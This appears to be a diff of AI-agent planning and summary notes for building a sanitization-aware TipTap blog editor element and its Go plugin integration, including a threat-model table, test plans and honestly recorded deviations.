+- **Fix:** `fieldTypeFailure` maps only `*pact.FormFieldError` (messages localized) to 422; every other Decode/Upload error and every Load error is logged and becomes the opaque lifecycle 500.
+- **Commit:** 717d46e
+
+**4. Additional files touched for threading the registry and list values**
+- modules/cabana/contracts.go (`Registry.fieldTypes`), modules/cabana/relation.go (`compileRelationsWithTypes`), modules/cabana/query.go (`projectRowCtx` with the request ctx for `ListValue`), docs/backend/lists-and-filters.md (plugin column types), admin/tests/list/CellValue.test.ts. `admin/src/views/ListView.vue` needed no change: `CellValue` already renders a column type it does not know as plain text.
+
+**5. [CLAUDE.md] TDD commit shape**
+- Tasks 3 and 4 are `tdd="true"`, but CLAUDE.md requires `go test ./...` green at every commit, so no failing RED test was committed. Task 3: the expansion smoke test was written first against compile stubs and failed on the planned behavior (`compile: ... unsupported column type notes`) before the implementation made it pass; test and implementation were committed together. Task 4: the SPA implementation was written before its tests in the same uncommitted change; the tests were then added and pass.
+
+---
+
+**Total deviations:** 3 auto-fixed (2 blocking, 1 correctness) plus 2 documented process/scope notes. **Impact:** no change to the planned API or behaviour; extra files are route inventories, a docs example and registry plumbing.
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres-backed save, show and upload paths with a real record (the upload route with `{id}` other than 0, a real transaction and translation writer) are covered only by DryRun/unit smoke tests here; full coverage is plan 06 on a Docker host.
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Plans 02 (Journal editor element) and 03 (Journal Go integration) can build on this API; plan 03 must implement `ListValue(ctx, value)`.
+
+## Self-Check: PASSED
+
+- Created files exist: modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_type_smoke_test.go, modules/cabana/example_field_type_test.go, admin/src/app/fieldTypes.ts, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/fields/MLPluginField.vue, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md.

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 and D-10 amended)
+
+The server no longer refuses unsafe markup. 16.1 replaced the regex gate with a bluemonday policy (`classes.SanitizeHTML`), and under amended D-10 every admin save stores the sanitized value and reports what was removed. Anything the editor writes that the policy does not allow would therefore vanish silently on save. Amended D-05 requires the editor's own output to pass both the Go policy and the layer's sanitize-html mirror byte for byte. This plan now (1) records that output as a committed corpus that plan 03 and plan 04 test against, and (2) limits the links the editor creates to the URL schemes both policies allow. The element still never sanitizes. Where RESEARCH or PATTERNS describe CheckHTML refusing, this plan's text wins.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Decisions recorded here (Claude's discretion)
+
+- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
+- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
+- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
+- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
+- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
+- **Links the editor creates (D-05, D-10 amended):** only `http`, `https`, `mailto` and relative URLs, the schemes both sanitizer policies keep; no `target`, `rel` or `class` is added. A stored link with another scheme, or with `target`/`rel`, is preserved in the editor but stripped by the server if the post is saved after an edit.
+- **Policy corpus (D-05):** the editor's own output is committed as `tests/blogeditor/fixtures/editor-corpus.json`, rebuilt and compared by `corpus.test.ts` (set `UPDATE_CORPUS=1` to rewrite it). The imported-post fixture is deliberately not in it: it holds legacy markup (the style block, `target`, `rel`) that the server strips on an edited save.
+
+## Artifacts this phase produces (this plan)
+
+- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
+- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
+- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
+- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
+- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
+- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
+- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
+- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
+- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`, `tests/blogeditor/corpus.test.ts`.
+- Corpus: `tests/blogeditor/fixtures/editor-corpus.json` (array of `{name, html}`), `isPolicyUrl(url)` in `extensions.ts` (the link URL rule).
+
+<objective>
+Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
+
+Purpose: plan 03 registers this element as the Journal post and category content field type.
+Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.

Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
+- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
+- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
+- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
+
+Embed placeholder (stored markup, consumed by the layer in plan 04):
+
+```html
+<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
+```
+
+Element skeleton (RESEARCH Code Example 3, the value logic to keep):
+
+```ts
+get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
+set value(v: string) {
+  if (v === this.value) return                       // echo of our own summer-change
+  this.#value = v; this.#dirty = false
+  this.#editor?.commands.setContent(v, { emitUpdate: false })
+}
+// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
+```
+
+Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
+
+Policy the server applies on save (plan 03, sm-journal-plugin classes/format_html.go `SanitizeHTML`, the bluemonday UGC policy plus the Journal extensions in `newHTMLPolicy`): it strips what it does not allow and never refuses (D-10 amended). Stripped are, among others, `script`, `style`, `iframe`, `object`, `embed`, `form`, `svg`, comments, every `on*` attribute, `target` and `rel` on links, `alt` values outside UGC's Paragraph pattern, `start` on `ol`, `data-*` on `figure`, and URLs other than http, https, mailto and relative. Plan 03 extends the policy for exactly this element's own output: `figure` `data-embed` (`youtube`) and `data-id` (11 characters `[A-Za-z0-9_-]`), `img` `alt` with any text, and `ol` `start` (integer); plan 04 mirrors the same four in the layer. The save response then names what was removed and the SPA sets the stored value back into the element through the value property (plan 01). The element does not try to rewrite content.

+  <action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
+
+Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
+
+Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
+
+Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3). It deliberately keeps legacy markup that the server policy strips (the style block, target, rel): the element must return it byte for byte; stripping is the server's job on an edited save (D-10). The live post 64 on UAT no longer has the style block in content_html (re-saved in 16.1); the local export still does, which is why the fixture comes from the export.
+
+Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
+
+Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go.

+  <behavior>
+    - rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
+    - Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
+    - Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
+    - Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
+    - Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
+    - Links: isAllowedUri, the link input and isPolicyUrl accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and a scheme hidden by a tab or newline are refused; a created link has href only.
+    - Corpus (D-05): corpus.test.ts builds each entry through editor commands (embed from a youtube.com URL; image without caption whose alt contains a colon, a question mark and double quotes; image with caption; 3x3 table with header row; links http, https, mailto and relative; headings 2 to 4; bullet list; ordered list; ordered list starting at 3; blockquote; bold, italic, strike, underline and inline code; code block; horizontal rule; hard break; one document combining all of them) and compares each serialized value with editor-corpus.json; with UPDATE_CORPUS=1 it rewrites the file instead.
+  </behavior>
+  <action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
+
+extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2, with Link's isAllowedUri replaced by isPolicyUrl (also exported): the URL is accepted when, after removing ASCII control characters, spaces and DEL, it has no scheme (relative, including # and ?) or its scheme is http, https or mailto (the rule both sanitizer policies apply; see allowedUrl in the layer's htmlGate.ts); Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
+
+serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
+
+embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
+
+Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
+
+Corpus (D-05): new tests/blogeditor/corpus.test.ts builds the entries listed in the behavior block on happy-dom through editor commands only (insertContent of HTML is not used, so each entry is what the toolbar and input rules produce), serializes each with serializeDocument, and compares the array of {name, html} with tests/blogeditor/fixtures/editor-corpus.json; with UPDATE_CORPUS=1 it writes the file (two-space JSON, trailing newline). Generate and commit the file. The corpus must hold no iframe, no on* attribute, no target or rel, no style attribute and no URL outside isPolicyUrl; the test asserts that too. Plans 03 and 04 consume this file, so its entry names stay stable once committed.
+
+Tests: extend tests/blogeditor/smoke.test.ts with one case per remaining behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder, the link URL rule, the policy corpus (UPDATE_CORPUS=1 to regenerate; plans 03 and 04 check it against the Go policy and the layer) and the upload flow.

+| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value goes through classes.SanitizeHTML in the plan 03 Decode on every locale (D-10 amended: strip, never refuse), the save names what was removed and the SPA puts the stored value back into the element; the layer sanitizes again before v-html |
+| T-16.2-11 | Tampering | link mark | medium | mitigate | isAllowedUri is replaced by isPolicyUrl (http, https, mailto, relative only, scheme read after removing control characters and spaces), the same rule both sanitizer policies apply; tests cover javascript:, data:, tel: and a tab-split scheme |
+| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
+| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
+| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |

+  - "The bundle is built through Vite's application pipeline with a single ES entry, fixed names and preserved exports, not build.lib: library mode never minifies whitespace in ES output (587 KB vs 466 KB)"
+  - "Images are inline (Image inline: true), so an uncaptioned image is <p><img src alt></p>; a captioned one is <figure><img><figcaption></figure> through a block figureImage node"
+  - "Link parsing, rendering and commands all use isPolicyUrl: a stored link with another scheme (tel:, ftp:) keeps its text but loses the link when its block is edited, the same result the server policy gives on an edited save"
+  - "Raw HTML cards cover the plan's tags plus article, main, address, dl, iframe, video, audio, picture, object, embed, form, svg, math, script and noscript, so more stored markup survives an edit; the server still strips what its policy does not allow"

+# Phase 16.2 Plan 02: Blog Editor element Summary
+
+**`golem15-journal-blogeditor`, a TipTap 3.31.4 WYSIWYG editor with an exact-HTML Source tab, returns an untouched imported post byte for byte and, after an edit, keeps every unedited top-level block's original bytes; it ships raw HTML cards, figures, YouTube embed placeholders, policy-only links, SPA-mediated image uploads, a committed policy corpus and a minified bundle embedded in sm-journal-plugin with a drift gate.**
+
+## Performance
+
+- **Duration:** about 25 min
+- **Started:** 2026-10-10T09:31:47Z
+- **Completed:** 2026-10-10T09:56Z
+- **Tasks:** 3 (Task 1 resolved by the orchestrator, Tasks 2 and 3 executed)
+- **Files:** 24 in sm-journal-plugin (21 created, 3 modified)
+
+## Task 1 checkpoint (resolved): package report
+
+The orchestrator ran the plan's registry verify command for the five editor packages at 3.31.4. Result: `registry-ok`.
+

+
+Maintainers are on the tiptap.dev and ueber.io domains plus tiptap-bot; 3.31.4 is the current `latest` dist-tag.
+
+Human reply, verbatim:
+
+> packages approved
+
+Version Task 2 installed: **3.31.4**, pinned exactly (`npm install --save-exact`) for all five packages. Installed devDependencies: vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. npm 12 blocked esbuild 0.27.7's `postinstall` (not in `allowScripts`); esbuild works without it through its optional platform package `@esbuild/linux-x64`, so no script was approved.
+
+## Accomplishments
+
+- **Build (D-16):** private ESM `package.json` with exact pins and a committed `package-lock.json`; `vite.config.ts` builds `assets/src/blogeditor/index.ts` into `assets/dist/blogeditor.js` and `blogeditor.css` (fixed names, minified, exports kept) and configures vitest on happy-dom; `scripts/check-dist.sh` rebuilds into a temp dir and fails with `check-dist: assets/dist is stale; run npm run build and commit assets/dist`; `node_modules/` ignored; `admin.go` embeds both files.
+- **Element (D-01, D-03, D-13):** light-DOM `BlogEditorElement` with the value/dirty logic of the interfaces skeleton, `emitUpdate: false` loads outside the undo history, `summer-change` on user edits only, an exact-string Source tab, `disabled`, `invalid`, `locale` (as `lang`) and `ui-locale` (labels); `injectCSS: false` with the ProseMirror base rules in `blogeditor.css`, every selector under the tag and only `--c-*` colours.
+- **Preservation (D-03, D-04):** `rawHtml` text cards with an "Edit as HTML" action, `figure`/`figureImage`/`figcaption`, `embed`, `span` mark, the `htmlAttributes` global attribute map, tables without colgroup or min-width, cells without TipTap's align rewrite, StarterKit without the trailing node and with links that gain nothing.
+- **Serializer:** `captureBlocks` splits the source by position, validates that the pieces parse to the same DOM as the whole, and parses each alone; `serializeDocument` aligns the captured blocks with the document (prefix, suffix, LCS) and emits original bytes for unchanged runs, raw HTML verbatim and the rest through `DOMSerializer` in an inert document, with tables in thead/bare-cell form. `editor.getHTML()` is never the value.
+- **Toolbar, embeds, links, uploads (D-04, D-05, D-18):** `buildToolbar` with every listed control; `parseEmbedUrl` and `EMBED_PROVIDERS` (YouTube only); `isPolicyUrl` as Link's `isAllowedUri` and in the link input; uploads by picker or drop as `summer-upload`, insert on `summer-upload-result` with a required alt and optional caption, error and 60 s timeout in an `aria-live` status line.
+- **Corpus (D-05):** `editor-corpus.json` with 15 entries (`embed-youtube`, `image-without-caption`, `image-with-caption`, `table-header-row`, `links`, `headings`, `bullet-list`, `ordered-list`, `blockquote`, `ordered-list-start-3`, `inline-marks`, `code-block`, `horizontal-rule`, `hard-break`, `combined`), built only through editor commands and typing.
+- **README:** a "Blog Editor" section (element, contract, untouched values, embeds, link rule, upload flow, JS build, corpus) plus Dependencies and Testing lines.
+
+## Task Commits
+
+All code commits are in `../sm-journal-plugin` (branch main):
+
+1. **Task 1: package check** - resolved by the orchestrator (no commit)
+2. **Task 2: tracer** - `234e616` build(editor): blog editor JS build and drift gate; `47f3032` feat(editor): blog editor element with exact untouched value
+3. **Task 3: expansion** - `086e485` feat(editor): preservation schema, block reuse, toolbar, uploads and embeds
+
+## Bundle
+
+- `assets/dist/blogeditor.js`: 466,051 bytes minified (147,281 bytes gzip -9)
+- `assets/dist/blogeditor.css`: 7,480 bytes
+- `grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js` prints 0; the only `createElement("style")` is TipTap's unused `createStyleTag` (injectCSS is false).
+
+## Verification
+
+- Task 2 verify (tracer gate re-run before expansion): smoke tests, `check-dist.sh`, `go vet ./...` and `go test ./classes/ ./controllers/...` passed.
+- Task 3 verify: `tsc --noEmit`, the full vitest run (2 files, 33 tests), `check-dist.sh` and `go vet ./...` pass.
+- Acceptance greps: the tag is in the bundle, `admin.go` has one embed line for the bundle, `git check-ignore node_modules` prints `node_modules`, `serializeDocument`/`parseEmbedUrl`/`isPolicyUrl` are exported, the corpus has 15 entries with the embed, figcaption, table and `start="3"` and 0 matches of `<iframe|target=|rel=| on[a-z]+=|style=`, `data-embed` is in the bundle, and all three event names are in it.
+
+## TDD (Task 3, tdd="true")
+
+- **RED:** the expanded `smoke.test.ts` and `corpus.test.ts` were written and run against the Task 2 element before the schema, serializer, toolbar and element wiring. Target test `preservation schema > leaves every other top-level block byte-identical after editing one paragraph` failed on its assertion (footer, style block, table and figure flattened, link attributes reordered). `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`). vitest's `tap-flat` reporter prints no `# tests/# pass/# fail` lines, so those three lines were counted from its non-skipped `ok`/`not ok` lines and appended to the record.
+- **GREEN:** the implementation made all 33 cases pass.
+- **Commit shape:** the plan prescribes one `feat(editor)` commit for Task 3, so no separate `test(...)` RED commit exists. `embed.ts`, `labels.ts` and `extensions.ts` were drafted just before the tests, so the `parseEmbedUrl` and `isPolicyUrl` cases were already green at RED time; every behavior that needed the schema, serializer, toolbar or upload flow was red.
+
+## Decisions Made
+
+See key-decisions in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Fixture source not readable; synthetic fixture with the same structure**
+- **Found during:** Task 2
+- **Issue:** The environment's permission classifier refused every read of `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json` (PII data handling), including `ls`.
+- **Fix:** `imported-post.html` is a synthetic post with the structure the plan requires: rendered-markdown blocks (h2, h3, p with em/strong, ul, ol, blockquote, links), the author footer in the shape the repository already uses in `classes/format_html_test.go` (`itemscope`, `itemtype`, `itemprop`, `div` and `span` with `style`, neutral name and `cdn.example.test` photo), a `style` block, a table with thead, a figure with img and figcaption, a link with `target` and `rel`, a paragraph with `&quot;` entities, plus `&amp;`, `&nbsp;`, `&ndash;` and `&times;`. No real author or post text is copied. A human may swap in the real export later; the tests do not depend on its wording.
+- **Commit:** 47f3032
+
+**2. [Rule 3 - Blocking] Library mode does not minify ES output**
+- **Found during:** Task 2
+- **Issue:** Vite 7 `build.lib` with `formats: ['es']` forces `minifyWhitespace: false` (587 KB); the acceptance assumes a minified bundle.
+- **Fix:** the same single ES entry through `rollupOptions.input` with `preserveEntrySignatures: 'exports-only'`, `entryFileNames: 'blogeditor.js'`, `assetFileNames: 'blogeditor[extname]'`, `modulePreload: false` (384 KB at Task 2, 466 KB at Task 3). The admin loads it as `type="module"`, as before.
+- **Files modified:** vite.config.ts
+- **Commit:** 234e616
+
+**3. [Rule 2 - Security] on* attributes never captured; uploaded URLs checked**
+- **Found during:** Task 3
+- **Issue:** a global attribute map that captures every unmodelled attribute would render `onerror`/`onload` from stored HTML into the live admin DOM; an upload answer could carry a URL outside the policy.
+- **Fix:** `captureAttributes` and `renderCaptured` skip `on*` names (test asserts the editor's `img` has no `on*` attribute); a `summer-upload-result` URL that fails `isPolicyUrl` is shown as an upload error. The serializer and the raw HTML `renderHTML` build DOM only in an inert document.
+- **Commit:** 086e485
+
+**4. [Rule 1 - Bug] Replaced values in the undo history; edited value lost on detach**
+- **Found during:** Task 3
+- **Issue:** TipTap's `setContent` records history, so undo after an external value brought back the replaced document; after `disconnectedCallback` destroyed the editor, a dirty value fell back to the served string.
+- **Fix:** loads run as `chain().setMeta('addToHistory', false).setContent(...)`; on disconnect a dirty WYSIWYG value is kept as the element's value. Both have tests.
+- **Commit:** 086e485
+
+**5. Files outside the plan's lists**
+- `serializer.ts` was created in Task 2 (minimal, `DOMSerializer` only) so the tracer never used `getHTML()`; Task 3 replaced it as planned.
+- `tests/blogeditor/helpers.ts` holds the shared mount/typing helpers of both test files.
+- `plugin_test.go` (`TestJournalSVGEmbed`) asserts that `AdminFS` holds both bundle files and that the script defines the tag. The root package's `TestMain` starts testcontainers, so this runs only on a Docker host (plan 06); it compiles and `go vet` is clean here.
+
+**6. Scope notes on plan wording**
+- `RAW_HTML_TAGS` covers more tags than the plan lists (see key-decisions).
+- Stored links with a scheme outside the policy keep their text but not the link once their block is edited (the plan said "preserved in the editor"); unedited blocks keep their bytes. This matches what the server does on an edited save.
+- In edited blocks, link attributes come out as `target`, `rel`, `href` (TipTap merges the null option defaults first); values are unchanged and unedited blocks keep their bytes.
+- Table cells drop TipTap's `align` attribute so a stored `style="text-align: ..."` or `align` is kept verbatim through the attribute map instead of being rewritten.
+- In the corpus, the `blockquote` builder sits between the two ordered-list builders so the `combined` document keeps two lists (TipTap joins adjacent lists).
+
+---
+
+**Total deviations:** 4 auto-fixed (2 blocking, 1 security, 1 bug) plus file and scope notes. **Impact:** no change to the element contract, the embed markup or the corpus shape that plans 03 and 04 consume.
+
+## Issues Encountered
+
+- No Docker on this host: the root package's Go tests (including the new AdminFS assertion) need testcontainers and run in plan 06.
+- happy-dom covers the element logic, but not browser selection, IME, real drag and drop or layout; the browser check belongs to the UAT step.
+
+## Known Stubs
+
+None. The `field-name`, `record-id` and `options` attributes are accepted and unused, because this type has no options and does not need the record id; that is the contract, not a stub.
+
+## Next Phase Readiness
+
+- Plan 03 registers `blogeditor`/`mlblogeditor` with `Element: "golem15-journal-blogeditor"`, `Scripts: ["assets/dist/blogeditor.js"]` and `Styles: ["assets/dist/blogeditor.css"]` (already in `adminFS`), and reads `tests/blogeditor/fixtures/editor-corpus.json` in place for the Go policy test. The policy must allow `figure` `data-embed`/`data-id`, any `img` `alt` (the corpus has one with `:`, `?` and `"`), and `ol` `start`.
+- Plan 04 copies `editor-corpus.json` byte for byte into the layer and mirrors the embed provider table (one YouTube entry, id `^[A-Za-z0-9_-]{11}$`).
+
+## Broken-windows ledger
+
+- deviation: `tests/blogeditor/fixtures/imported-post.html` (sm-journal-plugin) is synthetic.
+- unrun-verify: the new `TestJournalSVGEmbed` assertion in sm-journal-plugin `plugin_test.go` needs Docker (plan 06).
+
+## Self-Check: PASSED
+
+- Created files exist in ../sm-journal-plugin: assets/src/blogeditor/{index,element,extensions,serializer,toolbar,embed,labels}.ts, blogeditor.css, assets/dist/blogeditor.js and .css, tests/blogeditor/{helpers,smoke.test,corpus.test}.ts, fixtures/imported-post.html and editor-corpus.json, scripts/check-dist.sh, package.json, package-lock.json, vite.config.ts, tsconfig.json, .gitignore.
+- Commits exist in ../sm-journal-plugin: 234e616, 47f3032, 086e485.

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores sanitized HTML in both columns without goldmark and reports what it stripped; the shared policy admits the editor's own output; editor uploads reuse the existing media storage.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-02, D-04, D-05, D-10 and D-19 amended)
+
